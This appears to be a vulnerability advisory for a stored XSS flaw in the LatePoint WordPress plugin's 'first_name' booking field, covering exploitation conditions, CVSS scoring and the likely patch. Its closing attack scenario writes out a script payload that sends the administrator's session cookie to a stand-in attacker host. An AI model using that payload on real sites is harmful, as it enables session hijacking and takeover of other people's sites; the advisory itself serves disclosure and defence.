LatePoint WordPress Plugin CVE-2026-7448

Exploitation requires the LatePoint plugin to be actively installed and the appointment booking functionality exposed to unauthenticated visitors through public-facing booking forms or pages. The vulnerability specifically affects the 'first_name' parameter in customer input fields during the booking creation process. Successful injection depends on the booking form being accessible without WordPress authentication (common configuration for customer-facing appointment systems) and the malicious payload persisting through database storage. Exploitation impact is maximized when administrative users subsequently access booking records through the LatePoint management interface (activities_controller.php), customer profile views (customer_model.php), or email notifications containing the unsanitized first_name field (email_helper.php and replacer_helper.php). Limiting factors include: administrative users must actually view the compromised booking record for payload execution (though this is routine workflow in appointment management systems), and some WordPress security plugins with XSS detection may flag or block the injection attempt during form submission. Installations that have disabled or restricted public booking form access, or that require WordPress user authentication before booking, significantly reduce the attack surface.

The CVSS score of 7.2 (High) reflects significant risk characteristics: network vector (AV:N) with low attack complexity (AC:L), no privileges required (PR:N), no user interaction needed (UI:N), and critically, changed scope (S:C) indicating the attack can affect resources beyond the vulnerable component. The changed scope is particularly concerning for stored XSS, as compromising administrator sessions can lead to complete WordPress site takeover. However, several factors moderate real-world urgency: no confirmation of active exploitation exists (not in CISA KEV), no public proof-of-concept code identified in references, and EPSS probability data is unavailable for quantitative likelihood assessment. The unauthenticated nature (PR:N) is partially misleading-while no WordPress authentication is required to submit the malicious 'first_name', the attacker must successfully submit an appointment booking form, which may require interaction with the site's booking workflow. The low confidentiality and integrity impact ratings (C:L/I:L) with no availability impact (A:N) suggest limited direct damage, but stored XSS against administrative users can serve as a stepping stone for privilege escalation. Priority should be elevated for installations where booking forms are publicly accessible and administrative users frequently review appointment data. The availability of code references pointing to specific vulnerable lines (changeset 3522933) suggests a patch exists, making this a remediable risk rather than a persistent threat.

An unauthenticated attacker navigates to a WordPress site running vulnerable LatePoint plugin and accesses the public appointment booking form. The attacker enters a malicious JavaScript payload such as <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> into the 'first_name' field when creating an appointment booking. The LatePoint plugin stores this unsanitized input in the WordPress database. When a site administrator logs into the WordPress dashboard and views the appointments list or booking details through the LatePoint management interface, the stored script executes in the administrator's browser context with their session privileges. The attacker's script exfiltrates the administrator's session cookie to attacker.com, enabling session hijacking and full administrative access to the WordPress installation. No public proof-of-concept code is referenced, but the attack vector is straightforward given the unauthenticated access and common XSS exploitation techniques.